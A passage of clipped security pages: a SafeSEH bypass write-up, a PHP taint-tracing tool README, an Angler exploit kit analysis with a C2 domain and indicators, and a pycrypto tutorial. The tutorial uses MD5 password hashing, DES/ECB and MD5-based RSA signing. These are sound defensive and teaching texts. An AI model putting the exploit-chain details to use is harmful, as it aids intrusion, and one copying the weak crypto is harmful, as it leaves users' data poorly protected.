response header and impersonate another WAF product :\) Take a look at the
wafw00f code for hints on what data to use.

# Old Meets New: Microsoft Windows SafeSEH Incompatibility | Accuvant
**Created:**| _1/11/2012 9:25:39 AM_  
---|---  
**Updated:**| _1/11/2012 9:25:39 AM_  
**Author:**| __  
**Tags:**| _compiler-building windows environment_  
  

# Old Meets New: Microsoft Windows SafeSEH Incompatibility

Jan

10

In recent years, Microsoft has made great strides to improve product security.
This momentum can be seen clearly in their investments in security-focused
processes, development, and research. The release of anti-exploitation
features such as DEP, ASLR, Stack Cookies and SafeSEH are products of their
commitment to security. Unfortunately, SafeSEH was incorrectly implemented on
some versions of Windows leading to a loophole in the technology.

## Background

For quite a while, exploit developers would leverage the Structured Exception
Handling \(SEH\) functionality to execute shellcode. In order to frustrate
exploitation, Microsoft added SafeSEH to the Microsoft Visual Studio .NET 2003
compiler. The SafeSEH feature allows only legitimate exception handlers to
execute. It is implemented in two parts; a compile-time part and a runtime
component. The compile-time component begins when a module is compiled with
the SafeSEH linker flag. First, the compiler will gather a list of legitimate
exception handlers within the program. The compiler then stores the list into
the executable module within the Portable Executable \(PE\) Load Configuration
optional header. Within this header, a pointer named the Safe Exception
Handler Table points to the list of exception handlers. Later, when an
exception occurs, the operating system exception handling code uses the
runtime component of SafeSEH, which ensure all exception handlers are
legitimate before execution is transferred to any handler.

## Implementation Details

The runtime component is implemented within the ntdll.dll module. When an
exception occurs, the RtlDispatchException function is tasked with deciding
how it should be handled. First, the exception passes through the registered
Vectored exception handlers. If the exception was not handled,
RtlDispatchException moves on to processing the stack-based SEH chain. The
chain is made up of EXCEPTION\_REGISTRATION records, which contain a pointer
to the next record and the address of the exception handler function to be
called. Before calling any handler functions in the chain,
RtlDispatchException calls the RtlIsValidHandler function to validate the
exception handler, including checking SafeSEH.

Inside RtlIsValidHandler, the SafeSEH functionality is implemented within the
RtlCaptureImageExceptionValues function. As shown below, this function checks
if a Load Configuration structure exists within the PE optional data
directory. Once found, the handler function will be checked against the Safe
Exception Handlers Table values. If the exception handler is found in the
list, RtlIsValidHandler will return 1 and the handler will be executed via the
RtlpExecuteHandlerForException function. Otherwise, RtlIsValidHandler returns
0 and the handler will not be executed.

<img src='img/Temp2_5736.png' />

**Figure 1. RtlCaptureImageExceptionValues flow graph excerpt**

## The Problem

As shown above, RtlCaptureImageExceptionValues determines the existence of the
Load Configuration by checking index 10 within the PE Data Directory. If
nothing is found, the module is assumed to be incompatible with SafeSEH and
the handler is treated as legitimate. When index 10 is found, the code
compares the size of the directory entry to 64. This comparison originates
from the PE/COFF specification that states, “For compatibility with Windows XP
and earlier versions of Windows, the size must be 64 for x86 images.” If it
does not match, the module is assumed to be incompatible with SafeSEH and the
handler is treated as legitimate. If it does match, the handler is vetted
against the list of legitimate exception handlers.

Looking directly at a binary leads to an interesting discovery. As shown in
Figure 3, the size of the Load Configuration within the data directory of
msvcr71.dll is actually 72. When determining the module’s compatibility with
SafeSEH, the comparison with 64 fails and all addresses within this module are
treated as a legitimate exception handler.

<img src='img/Temp2_5737.png' />

**Figure 2. The DATA\_DIRECTORYitem size \(in tooltip\)**

Using the dumpbin program from the Microsoft Compiler, it is clear that the
module is intended to be compatible with SafeSEH. Figure 3 shows the relevant
output with the anomalous value highlighted in red. However, as was stated
previously, if any module has a Load Configuration Directory size other than
64, certain versions of Windows will assume the module is not compatible with
SafeSEH. Therefore, some modules that are compiled with SafeSEH compatibility
do not possess the intended protection. A scan of an updated Windows 7 SP1
machine revealed PuTTY 0.61 and various VMware products also contain binaries
with an incorrect directory size, proving that the scope of this issue is
wider than a single DLL.

Microsoft ® COFF/PE Dumper Version 10.00.40219.01  
Copyright \(C\) Microsoft Corporation. All rights reserved. Dump of file
C:\Program Files \(x86\)\Java\jre6\bin\msvcr71.dll  
\[...\]  
OPTIONAL HEADER VALUES 49078 **\[ 48\]** RVA \[size\] of Load Configuration
Directory  
\[...\] Section contains the following load config: 00000048 size  
\[...\] 7C38B118 Security Cookie  
7C3890C0 Safe Exception Handler Table  
4 Safe Exception Handler Count  
---  
**Figure 3. DUMPBIN output excerpt for JRE6 msvcr71**

Windows XP SP3 contains a different implementation in ntdll. In that version,
an additional check permits the data directory item size to differ from 64 so
long as it matches the size contained within the Load Configuration data
itself. The more permissive check present on Windows XP SP3 correctly
processes msvcr71 and the use of arbitrary addresses as exception handlers is
correctly blocked. Therefore, Windows XP SP3 is not affected by this issue.

## Vendor Response

After discussing this issue with Microsoft, it became clear that this is only
an issue when the original RTM version of the VC7.1 compiler is used.
Contacting MSRC led to an investigation being opened. During coordination, the
issue was initially classified as a defense in depth measure and not as a
vulnerability. MSRC specifically stated, “Considering this, we don't have
fixed a specific timeline for defense in depth issues, but it will be surely
addressed in a future security update.” Thankfully, Microsoft made good on
that statement and released an update addressing the issue on January 10th,
2012. More information is available from their MS12-001 Security Bulletinand
Security Research & Defense blog.

## References

Microsoft PE/COFF Specification, Microsoft,
http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff\_v8.docx

OpenRCE.org Portable Executable Reference Poster, Ero Carrera Ventura,
http://www.openrce.org/reference\_library/files/reference/PE%20Format.pdf

/SAFESEH Reference, Microsoft, http://msdn.microsoft.com/en-
us/library/9a89h429\(v=vs.80\).aspx

DUMPBIN Reference, Microsoft, http://msdn.microsoft.com/en-
us/library/c1h23y6c\(v=vs.71\).aspx

Preventing the Exploitation of Structured Exception Handler \(SEH\) Overwrites
with SEHOP, Microsoft,
http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-
of-seh-overwrites-with-sehop.aspx

Enhanced Mitigation Experience Toolkit v2.1, Microsoft,
http://www.microsoft.com/download/en/details.aspx?id=1677

More information on the impact of MS12-001
http://blogs.technet.com/b/srd/archive/2012/01/10/more-information-on-the-
impact-of-ms12-001.aspx

# neuroo/xpdbg

**Created:**| _3/24/2012 6:41:56 PM_  
---|---  
**Updated:**| _3/24/2012 6:41:56 PM_  
**Author:**| __  
**Tags:**| _php Tainting_  
  

# XPDBG - Taint based runtime analysis for PHP

Developed by Romain Gaucher, @rgaucher

## Explanation of XPDBG

This runtime analysis toolkit is divided in 3 components:

  * the tracer on the server-side
  * the trace aggregator and modeler \(client-side\)
  * the trace visualizer \(client-side\)

The server-side component is very raw:

  * Using Xdebug for PHP \(with provided configuration\)
  * Spits out the traces in one file \(location to provide by the user\)

The trace aggregator performs the following actions:

  * Connects in SSH to the server, and tails the trace file
  * It queries the SQLite database of taint names. In this context, taints are essentially needles that need to be followed and trace in the entire application
  * Aggregates the traces of requests in one model \(graph\)
  * Generates a JSON file with slices of the graph that contains, or interact with the taints \(or needles\)

The trace visualizer:

  * Browser based visualization
  * Only works on Firefox/Opera/IE \(sorry, no Chrome\)
  * Loads the local JSON file every N seconds, and displays interesting trace
  * Main trace slice \(with sink/source node highlight\) are displayed in the main view, and the full trace is available

## Executing XPDBG

Example of command line:

[code]

    $ xpdbg.py --host foobar.example.com 
               --username dummy 
               --remote /tmp/xdebug/trace.2043925204.xt
    
[/code]

Options:

  * host: server to connect using SSH
  * username: username to use for SSH connection \(pwd to be prompted\)
  * remote: remote location \(on the server\) of the trace file
  * The rest are in the source... 

## Setting up Xdebug

Several options are available for Xdebug, but here is the configuration I
usually deploy:

[code]

    # XDebug config
    zend_extension=/usr/local/lib/php/extensions/xdebug.so
    
    [Xdebug]
    xdebug.collect_params = 4
    xdebug.collect_vars = 1
    xdebug.collect_return = 1
    xdebug.collect_assignments = 1
    xdebug.collect_includes = 1
    
    
    xdebug.auto_trace = 1
    xdebug.show_local_vars = 1
    xdebug.trace_options = 1
    xdebug.trace_output_dir = /tmp/xdebug
    xdebug.trace_output_name = trace.%c
    xdebug.trace_format = 0
    xdebug.show_exception_trace = 1
    xdebug.scream = 1
    
    xdebug.var_display_max_data=65536
    xdebug.var_display_max_depth=999
    xdebug.dump.POST=*
    xdebug.dump.GET=*
    xdebug.dump.COOKIE=*
    xdebug.dump.FILES=*
    xdebug.dump.REQUEST=*
    xdebug.dump.SERVER=REQUEST_METHOD,REQUEST_URI,QUERY_STRING,SCRIPT_URI
    xdebug.dump.SESSION=*
    
[/code]

Please refer to the Xdebug documentation if any issues with Xdebug deployment

## XPDBG dependencies

The distributed version of Xpdbg is quite old \(developed in 2009\). However,
it should work just fine with the current version of the following
dependencies:

  * python-graph
  * twisted
  * pygments

Xpdbg has been tested in Python 2.6 and 2.7

# Contact and license

Released under Apache license:

[code]

    Licensed under the Apache License, Version 2.0 (the "License");
    you may not use this file except in compliance with the License.
    You may obtain a copy of the License at
    
        http://www.apache.org/licenses/LICENSE-2.0
    
    Unless required by applicable law or agreed to in writing, software
    distributed under the License is distributed on an "AS IS" BASIS,
    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    See the License for the specific language governing permissions and
    limitations under the License.
    
[/code]

  

# Angling for Silverlight Exploits

**Created:**| _5/23/2014 9:59:31 AM_  
---|---  
**Updated:**| _5/23/2014 9:59:31 AM_  
**Author:**| __  
**Tags:**| _web-app-sec Exploit plugin_  
  

#  Angling for Silverlight Exploits

_<img src='img/Temp2_821.png' width='300' height='127' alt='VRT / TRAC' />This
post is co-authored by Andrew Tsonchev, Jaeson Schultz, Alex Chiu,_Seth
Hanford, Craig Williams,_ Steven Poulson, and Joel Esler. Special thanks to
co-author Brandon Stultz for the exploit reverse engineering. _

Silverlight exploits are the drive-by flavor of the month. Exploit Kit \(EK\)
owners are adding Silverlight to their update releases, and since April 23rd
we have observed substantial traffic \(often from Malvertising\) being driven
to Angler instances partially using Silverlight exploits. In fact in this
particular Angler campaign, the attack is more specifically targeted at Flash
and Silverlight vulnerabilities and though Java is available and an included
reference in the original attack landing pages, it’s never triggered.

<img src='img/Temp2_812.png' alt='Rise in Angler Attacks' />

HTTP requests for a specific Angler Exploit Kit campaign

<img src='img/Temp2_820.png' alt='Exploit Content Type' />

Angler exploit content types delivered to victims, application/x-gzip \(Java\)
is notably absent

### The C-Suite Summary

A few weeks ago we discussed a malvertising campaign that redirected victims
to Styx EK landing pages. Advertising exchanges continue to be leveraged for
force redirection, which means by extension that websites serving
advertisements from an exchange are unwittingly redirecting their viewers to
malicious destinations. Malvertising continues to play a key role in malicious
web drive-by campaigns.

In fact, the U.S. Senate issued a report on Thursday highlighting some of the
specific risks that digital advertising presents to everyone using the web
with a modern browser. On page 7 under “Findings and Recommendations” the
report states:

_1\. Consumers risk exposure to malware through everyday activity.__Consumers
can incur malware attacks without having taken any action other_ _than
visiting a mainstream website. The complexity of the online advertising_
_ecosystem makes it impossible for an ordinary consumer to avoid advertising_
_malware attacks, identify the source of the malware exposure, and determine_  
_whether the ad network or host website could have prevented the attack._

_2\. The complexity of current online advertising practices impedes industry_
_accountability for malware attacks. The online advertising industry has_
_grown in complexity to such an extent that each party can conceivably claim
it_ _is not responsible when malware is delivered to a user’s computer through
an_ _advertisement. An ordinary online advertisement typically goes through
five_  
_or six intermediaries before being delivered to a user’s browser, and the ad_
_networks themselves rarely deliver the actual advertisement from their own_
_servers. In most cases, the owners of the host website visited by a user do
not_ _know what advertisements will be shown on their site._

__

_<img src='img/Temp2_814.png' alt='Malicious Propagation in the advertising
network' />_

In this latest campaign we detect initial stage zero malicious advertisements
redirecting to advertising banners \(among other stage one destinations\) on
stage one websites where redirection is again occurring to Angler EK landing
pages \(the full list of URIs is located below in the IoCs\).

[code]

     
[/code]

<img src='img/Temp2_813.png' alt='stages' />

Thus the complete attack life cycle is composed of multiple stage web
redirection, eventually landing on an Angler EP page, followed by application
exploit delivery \(Flash or Silverlight\), and finally payload delivery. In
this particular campaign, the payload is a Trojan that opens two listener
ports and initiates a TCP connection to a remote host located in Brazil.

<img src='img/Temp2_809.png' alt='Angler Attack Lifecycle' />

We should expect these existing Silverlight exploits to proliferate through
other exploit pack families in the near future as threat actors copy code from
each other and release updates. Silverlight exploits are also ideal because
Silverlight continues to gain rich Internet application market share, perhaps
surpassing Java, and Microsoft’s life cycle schedule suggests Silverlight 5
will be supported through October, 2021.

Unfortunately, we observe extensive global DNS requests for the Angler landing
pages, indicating that this campaign is largely succeeding even if only 10% of
victims \(a reasonable exploit kit percentage\) are exploited due to failure
to upgrade their system’s applications.

<img src='img/Temp2_818.png' alt='DNS Requests for Ten different Angler
Landing Pages' />

General geographic locations of DNS requests for Angler domains observed in
this campaign

### The Network Defenders’ Attack Dissection

In January we discussed Fiesta’s inclusion of Silverlight exploits for two
linked vulnerabilities announced in 2013, specifically CVE-2013-0074
\(subclassing System.Windows.Browser.ScriptObject\) and CVE-2103-3896 \(memory
disclosure vulnerability in the publicWritableBitmap class\).

<img src='img/Temp2_810.png' width='150' height='150' alt='Angling' />

This Angler campaign uses a Silverlight file to trigger the same CVE-2013-3896
vulnerability, but packages the exploit differently and attempts obfuscation
through AES encryption. Byte code within the file calculates the ROP offset
inside mscorlib.ni.dll and subsequently leverages CVE-2013-0074 to access
System.Windows.Browser.ScriptObject.Initialize\(\) \(via
System.Windows.Browser.HtmlObject\) in order to construct a custom IntPtr
handle \(which gets called in agcore.dll\) to achieve code execution. This
vulnerability was fixed in Silverlight build 5.1.20125.0 \(released on
3/12/2013\). Silverlight 5.1.10411.0 or prior is required to accomplish code
execution.

Stepping through the complete attack chain in detail, as we mentioned above,
many of the victim redirects begin in advertising exchange networks and
redirect to third party sites with advertising banners, specifically
“banner728x90.jpg”. This file is actually HTML that performs a redirect while
also loading a JPG image. Website owners may be mystified about this process
when searching for redirection causation because the file name masquerades as
a benign advertising banner which they are likely to ignore.

After the last redirect, victims arrive at the Angler landing page which
contains a large amount of obfuscated Javascript.

<img src='img/Temp2_823.png' alt='Obfuscated Javascript' />

After de-obfuscation six eval \(\) statements remain, one of which \(appears
below\) loads a Silverlight file.

<img src='img/Temp2_819.png' alt='Javascript eval()' />

The file’s code execution parameters are passed in through the init\_params
variable ‘exteeec’. This file contains another embedded Silverlight file that
is rolling XOR encrypted.

<img src='img/Temp2_811.png' alt='Silverlight file' />

The embedded Silverlight assembly \(fotosaster.dll\) is decrypted and
executed.

<img src='img/Temp2_816.png' alt='DLL Execute' />

This is the Silverlight file that leverages CVE-2013-3896 \(A memory
disclosure vulnerability in the public WritableBitmap class\).

<img src='img/Temp2_807.png' alt='WritableBitmapClass' />

CVE-2013-3896 reveals the base address for mscorlib.ni.dll in order to
calculate the offset to the first link in the ROP chain. The embedded
Silverlight file uses the class:

<img src='img/Temp2_817.png' alt='ROP Chain' />

Which contains the call to the vulnerable
System.Windows.Browser.ScriptObject::Initialize\(\):

<img src='img/Temp2_808.png' alt='ScriptObject_Initialize' />

The embedded Silverlight exploit uses a custom IntPtr handle above \(which
gets called in agcore.dll\) to achieve code execution. The dropped malware
starts listening on ports 14099 and 20231, decrypts “C:\Documents and
Settings\<user>\Local\Settings\Application Data\extrics.dll” and then calls
loadlibrary on it. Extrics.dll uses ws2\_32.dll \(Winsock\) to establish a TCP
session with the hard coded address, ns9.carrotpizzaeater.me.uk.

<img src='img/Temp2_815.png' alt='TCP Session' />

After encoding data it sends a 44 byte request to notify the Command and
Control \(C2\) server of the infection:

<img src='img/Temp2_822.png' alt='39 Byte Push' />

The payload is identified by anti-virus software as a Trojan in the “Kazy” or
“Pony” families.

### Derivative Intelligence

Starting with known Angler domains, we identified additional attack domains
via passive DNS \(pDNS\) and their associated A record IP addresses. We
subsequently found additional domains hosted on the same IP addresses. We
manually post-processed the new domain list and used Domain Tools to acquire
the WHOIS records for these associated domains. Using the domain generation
algorithm \(DGA\), we queried reverse WHOIS on the domain registrants and
registrant email addresses which produced additional associated domains
\(listed below in IoCs\).

In the same way that some of the Angler domain names are using a DGA,
likewise, the registrant email address also follows a regular expression. In
total there are over 650 domains registered by 21 different Hotmail addresses.

The A record for ns9.carrotpizzaeater.me.uk is 179.163.128.154 -- Telefonica
Brazil -- 179-163-128-154.user.vivozap.com.br. WHOIS registrant data for
carrotpizzaeater.me.uk includes:

Registrant: Yoji Majimuro  
Registrant type: UK Individual  
Registrant’s address:  
The registrant is a non-trading individual who has opted to have their  
address omitted from the WHOIS service.  
Data validation:  
Registrant name and address awaiting validation  
Registrar:  
Internet.bs Corp. t/a Internet.bs Corp. \[Tag = INTERNET-BS\]  
URL: http://www.internetbs.net/  
Registered on: 06-May-2014  
Expiry date: 06-May-2015  
Name servers:  
ns-canada.topdns.com  
ns-uk.topdns.com  
ns-usa.topdns.com

### Conclusion

In March a Russian criminal forum announced that the Neutrino EK developer is
selling the full exploit pack. Another post reported that Neutrino currently
brings in $30,000 per month for its owner. Assuming that figure is correct,
there is ample incentive to continue creating, maintaining, and updating these
exploit packs.

The exploit kit drive-by campaigns fueled by malvertising continue to be
effective, and given the web’s ubiquity in the work place, this channel is
crucially important for inspection and detection. While patching may be an
effective counter measure in this case, targeted watering hole attacks
leveraging zero day exploits continue to necessitate a behavioral detection
framework.

Businesses should be developing or acquiring intelligent solutions that
incorporate a threat centric model for enhanced visibility into all stages of
an attack regardless of whether it’s targeted or an equal opportunity victim
attack. While traditional security mechanisms \(firewall, IDS, etc.\) are
reasonable to support defense-in-depth, it is the advanced statistical
analysis of all available data that will automatically identify behavioral
anomalies and deliver finished threat intelligence to analysts, especially in
the context of web based drive-by attacks.

### Indicators of Compromise

**Adnxs.com Stage Zero Referrers  
**

**Angler domains**

**Angler Landing Page Full URIs& Stage One Referrers**

**Associated Angler Domains, Registrant,& Email Addresses**

**Angler Domain Registrant Email Addresses:**

hikonefabeb@hotmail.com  
jawutozasox@hotmail.com  
kafitetysyr@hotmail.com  
karusavohymu@hotmail.com  
lepabyx@hotmail.com  
luzetowegod@hotmail.com  
mobunyafe@hotmail.com  
mobunykedafe@hotmail.com  
pikirykyd@hotmail.com  
pikiryopyd@hotmail.com  
rewibabulon@hotmail.com  
ryzatoxohygi@hotmail.com  
ryzaygi@hotmail.com  
sipocodukyr@hotmail.com  
talefosezoha@hotmail.com  
tumijicalol@hotmail.com  
tumijicl@hotmail.com  
wusedrfssla@hotmail.com  
wusycila@hotmail.com  
xuqowiloruki@hotmail.com  
zuryxakadaxi@hotmail.com

**Extrics.dll -- Silverlight payload \(SHA256 hashes\):**

f848f284bb34e19fe1cbfbcd6a2df4e599261472d1ecbb36da26304bfe2e1d0f  
a866ca7791fb576817914943285e69ff1b1457e6d49eb6c47b81707ce972f9e5  
e530db3f5e373c47f377d109363ddd82b7e2eb4cba9fa15178f46911b339fd7a  
59fb884767b81bcd83a6c746dd208ca3d0a8f92d817363a0cc3c560583f871af  
d35740d437eb413ffff33ef0b6fd98c1d7ddc4157b716f15f2c3ba25b467bbdf  
95f41299f7c46fdb27f7c040b5868ef5b0940c0d4f024aab50944816861c9278  
582de2b8ef988b7d61b9d8510b33441185e1127f9f663e46c8a341d7b40dc534

**Additional Angler droppers \(SHA256 hashes\):**

0B1A4BCE28E2C28C3A6405F8E4982B61627ED4AEAFD81DFADA1BD2893248634D  
32A9FA746519D36DC58717CF111E7EA8D993093EA7100CD8D5CBB881E7351656  
657013793FE23BFC6EF54A1F270B84882DA01B8A80639D90EB65D2385F82C27A  
B94A0BF52A0DD3C444B16252C13BC728978F9FFDE1C3A5191EAA76B2CDDA3A80  
F38F2A7D96F0F167DBD537403A713F259A3AC4F55B403C010FCFBA1EAD7EE6F7

### Signatures

Sourcefire SIDS for the Angler Exploit Pack:

28612  
28613  
28614  
28615  
28616  
28996  
29066  
29411  
29412  
29413  
29414  
30852

Tags: advertising, analysis, angler, crimeware, drive-by, engineering,
Exchange, Exploit, flash, IDA, Intelligence, ioc, java, javascript, Kit,
malicious, malvertising, Pack, payload, redirection, research, reverse,
security, signatures, Silverlight, static, threat, TRAC, VRT, vulnerability

# Python and cryptography with pycrypto | Laurent Luce's Blog
**Created:**| _4/25/2011 12:41:13 PM_  
---|---  
**Updated:**| _4/25/2011 12:41:13 PM_  
**Author:**| __  
**Tags:**| _python crypto awesome_  
  

# Python and cryptography with pycrypto

April 22, 2011

We are going to talk about the toolkit pycrypto and how it can help us speed
up development when cryptography is involved.

Hash functions  
Encryption algorithms  
Public-key algorithms

## Hash functions

A hash function takes a string and produces a fixed-length string based on the
input. The output string is called the hash value. Ideal hash functions obey
the following:

  * It should be very difficult to guess the input string based on the output string.
  * It should be very difficult to find 2 different input strings having the same hash output.
  * It should be very difficult to modify the input string without modifying the output hash value.

<img src='img/Temp2_6540.png' alt='Cryptography and Python' />

Hash functions can be used to calculate the checksum of some data. It can be
used in digital signatures and authentication. We will see some applications
in details later on.

Let’s look at one example of a hash function: MD5.

### MD5

This hash function dates back from 1991. The hash output value is 128-bit.

The algorithm’s steps are as follow:

  * Pad the string to a length congruent to 448 bits, modulo 512.
  * Append a 64-bit representation of the length of the input string.
  * Process the message in 16-word blocks. There are 4 rounds instead of 3 compared to MD4.

You can get more details regarding the algorithm here.

Hashing a value using MD5 is done this way:

[code]

    >>> from Crypto.Hash import MD5
    >>> MD5.new('abc').hexdigest()
    '900150983cd24fb0d6963f7d28e17f72'
    
[/code]

It is important to know that the MD5 is vulnerable to collision attacks. A
collision attack is when 2 different inputs result in the same hash output. It
is also vulnerable to some preimage attacks found in 2004 and 2008. A preimage
attack is: given a hash h, you can find a message m where hash\(m\) = h.

### Applications

Hash functions can be used in password management and storage. Web sites
usually store the hash of a password and not the password itself so only the
user knows the real password. When the user logs in, the hash of the password
input is generated and compared to the hash value stored in the database. If
it matches, the user is granted access. The code looks like this:

[code]

    from Crypto.Hash import MD5
    def check_password(clear_password, password_hash):
      return MD5.new(clear_password).hexdigest() == password_hash
    
[/code]

It is recommended to use a module like py-bcrypt to hash passwords as it is
more secure than using MD5.

Another application is file integrity checking. Many downloadable files
include a MD5 checksum to verify the integrity of the file once downloaded.
Here is the code to calculate the MD5 checksum of a file. We work on chunks to
avoid using too much memory when the file is large.

[code]

    import os
    from Crypto.Hash import MD5
    def get_file_checksum(filename):
        h = MD5.new()
        chunk_size = 8192
        with open(filename, 'r') as f:
            while True:
                chunk = f.read(chunk_size)
                if len(chunk) == 0:
                    break
                h.update(chunk)
        return h.hexdigest()
    
[/code]

### Hash functions comparison

Hash function| Hash output size \(bits\)| Secure?  
---|---|---  
MD2| 128| No  
MD4| 128| No  
MD5| 128| No  
SHA-1| 160| No  
SHA-256| 256| Yes  
## Encryption algorithms

Encryption algorithms take some text as input and produce ciphertext using a
variable key. You have 2 types of ciphers: block and stream. Block ciphers
work on blocks of a fixed size \(8 or 16 bytes\). Stream ciphers work byte-by-
byte. Knowing the key, you can decrypt the ciphertext.

### Block ciphers

Let’s look at one of the block cipher: DES. The key size used by this cipher
is 8 bytes and the block of data it works with is 8 bytes long. The simplest
mode for this block cipher is the electronic code book mode where each block
is encrypted independently to form the encrypted text.

<img src='img/Temp2_6539.png' alt='Cryptography and Python' />

It is easy to encrypt text using DES/ECB with pycrypto. The key ’10234567′ is
8 bytes and the text’s length needs to be a multiple of 8 bytes. We picked
‘abcdefgh’ in this example.

[code]

    >>> from Crypto.Cipher import DES
    >>> des = DES.new('01234567', DES.MODE_ECB)
    >>> text = 'abcdefgh'
    >>> cipher_text = des.encrypt(text)
    >>> cipher_text
    '\xec\xc2\x9e\xd9] a\xd0'
    >>> des.decrypt(cipher_text)
    'abcdefgh'
    
[/code]

A stronger mode is CFB \(Cipher feedback\) which combines the plain block with
the previous cipher block before encrypting it.

<img src='img/Temp2_6538.png' alt='Cryptography and Python' />

Here is how to use DES CFB mode. The plain text is 16 bytes long \(multiple of
8 bytes\). We need to specify an initial feedback value: we use a random
string 8 bytes long, same size as the block size. It is better to use a random
string for each new encryption to avoid chosen-ciphertext attacks. Note how we
use 2 DES objects, 1 to encrypt and 1 to decrypt. This is required because of
the feedback value getting modified each time a block is encrypted.

[code]

    >>> from Crypto.Cipher import DES
    >>> from Crypto import Random
    >>> iv = Random.get_random_bytes(8)
    >>> des1 = DES.new('01234567', DES.MODE_CFB, iv)
    >>> des2 = DES.new('01234567', DES.MODE_CFB, iv)
    >>> text = 'abcdefghijklmnop'
    >>> cipher_text = des1.encrypt(text)
    >>> cipher_text
    "?\\\x8e\x86\xeb\xab\x8b\x97'\xa1W\xde\x89!\xc3d"
    >>> des2.decrypt(cipher_text)
    'abcdefghijklmnop'
    
[/code]

### Stream ciphers

Those algorithms work on a byte-by-byte basis. The block size is always 1
byte. 2 algorithms are supported by pycrypto: ARC4 and XOR. Only one mode is
available: ECB.

Let’s look at an example with the algorithm ARC4 using the key ’01234567′.

[code]

    >>> from Crypto.Cipher import ARC4
    >>> obj1 = ARC4.new('01234567')
    >>> obj2 = ARC4.new('01234567')
    >>> text = 'abcdefghijklmnop'
    >>> cipher_text = obj1.encrypt(text)
    >>> cipher_text
    '\xf0\xb7\x90{#ABXY9\xd06\x9f\xc0\x8c '
    >>> obj2.decrypt(cipher_text)
    'abcdefghijklmnop'
    
[/code]

### Applications

It is easy to write code to encrypt and decrypt a file using pycrypto ciphers.
Let’s do it using DES3 \(Triple DES\). We encrypt and decrypt data by chunks
to avoid using too much memory when the file is large. In case the chunk is
less than 16 bytes long, we pad it before encrypting it.

[code]

    import os
    from Crypto.Cipher import DES3
    
    def encrypt_file(in_filename, out_filename, chunk_size, key, iv):
        des3 = DES3.new(key, DES3.MODE_CFB, iv)
    
        with open(in_filename, 'r') as in_file:
            with open(out_filename, 'w') as out_file:
                while True:
                    chunk = in_file.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    elif len(chunk) % 16 != 0:
                        chunk += ' ' * (16 - len(chunk) % 16)
                    out_file.write(des3.encrypt(chunk))
    
    def decrypt_file(in_filename, out_filename, chunk_size, key, iv):
        des3 = DES3.new(key, DES3.MODE_CFB, iv)
    
        with open(in_filename, 'r') as in_file:
            with open(out_filename, 'w') as out_file:
                while True:
                    chunk = in_file.read(chunk_size)
                    if len(chunk) == 0:
                        break
                    out_file.write(des3.decrypt(chunk))
    
[/code]

Next is a usage example of the 2 functions defined above:

[code]

    from Crypto import Random
    iv = Random.get_random_bytes(8)
    with open('to_enc.txt', 'r') as f:
        print 'to_enc.txt: %s' % f.read()
    encrypt_file('to_enc.txt', 'to_enc.enc', 8192, key, iv)
    with open('to_enc.enc', 'r') as f:
        print 'to_enc.enc: %s' % f.read()
    decrypt_file('to_enc.enc', 'to_enc.dec', 8192, key, iv)
    with open('to_enc.dec', 'r') as f:
        print 'to_enc.dec: %s' % f.read()
    
[/code]

The output of this script:

[code]

    to_enc.txt: this content needs to be encrypted.
    
    to_enc.enc: ??~?E??.??]!=)??"t?
                                    JpDw???R?UN0?=??R?UN0?}0r?FV9
    to_enc.dec: this content needs to be encrypted.
    
[/code]

## Public-key algorithms

One disadvantage with the encryption algorithms seen above is that both sides
need to know the key. With public-key algorithms, there are 2 different keys:
1 to encrypt and 1 to decrypt. You only need to share the encryption key and
only you, can decrypt the message with your private decryption key.

<img src='img/Temp2_6537.png' alt='Cryptography and Python' />

### Public/private key pair

It is easy to generate a private/public key pair with pycrypto. We need to
specify the size of the key in bits: we picked 1024 bits. Larger is more
secure. We also need to specify a random number generator function, we use the
Random module of pycrypto for that.

[code]

    >>> from Crypto.PublicKey import RSA
    >>> from Crypto import Random
    >>> random_generator = Random.new().read
    >>> key = RSA.generate(1024, random_generator)
    >>> key
    <_RSAobj @0x7f60cf1b57e8 n(1024),e,d,p,q,u,private>
    
[/code]

Let’s take a look at some methods supported by this key object.
can\_encrypt\(\) checks the capability of encrypting data using this
algorithm. can\_sign\(\) checks the capability of signing messages.
has\_private\(\) returns True if the private key is present in the object.

[code]

    >>> key.can_encrypt()
    True
    >>> key.can_sign()
    True
    >>> key.has_private()
    True
    
[/code]

### Encrypt

Now that we have our key pair, we can encrypt some data. First, we extract the
public key from the key pair and use it to encrypt some data. 32 is a random
parameter used by the RSA algorithm to encrypt the data. This step simulates
us publishing the encryption key and someone using it to encrypt some data
before sending it to us.

[code]

    >>> public_key = key.publickey()
    >>> enc_data = public_key.encrypt('abcdefgh', 32)
    >>> enc_data
    ('\x11\x86\x8b\xfa\x82\xdf\xe3sN ~@\xdbP\x85
    \x93\xe6\xb9\xe9\x95I\xa7\xadQ\x08\xe5\xc8$9\x81K\xa0\xb5\xee\x1e\xb5r
    \x9bH)\xd8\xeb\x03\xf3\x86\xb5\x03\xfd\x97\xe6%\x9e\xf7\x11=\xa1Y<\xdc
    \x94\xf0\x7f7@\x9c\x02suc\xcc\xc2j\x0c\xce\x92\x8d\xdc\x00uL\xd6.
    \x84~/\xed\xd7\xc5\xbe\xd2\x98\xec\xe4\xda\xd1L\rM`\x88\x13V\xe1M\n X
    \xce\x13 \xaf\x10|\x80\x0e\x14\xbc\x14\x1ec\xf6Rs\xbb\x93\x06\xbe',)
    
[/code]

### Decrypt

We have the private decryption key so it is easy to decrypt the data.

[code]

    >>> key.decrypt(enc_data)
    'abcdefgh'
    
[/code]

### Sign

Signing a message can be useful to check the author of a message and make sure
we can trust its origin. Next is an example on how to sign a message. The hash
for this message is calculated first and then passed to the sign\(\) method of
the RSA key. You can use other algorithms like DSA or ElGamal.

[code]

    >>> from Crypto.Hash import MD5
    >>> from Crypto.PublicKey import RSA
    >>> from Crypto import Random
    >>> key = RSA.generate(1024, random_generator)
    >>> text = 'abcdefgh'
    >>> hash = MD5.new(text).digest()
    >>> hash
    '\xe8\xdc@\x81\xb144\xb4Q\x89\xa7 \xb7{h\x18'
    >>> signature = key.sign(hash, '')
    >>> signature
    (1549358700992033008647390368952919655009213441715588267926189797
    14352832388210003027089995136141364041133696073722879839526120115
    25996986614087200336035744524518268136542404418603981729787438986
    50177007820700181992412437228386361134849096112920177007759309019
    6400328917297225219942913552938646767912958849053L,)
    
[/code]

### Verify

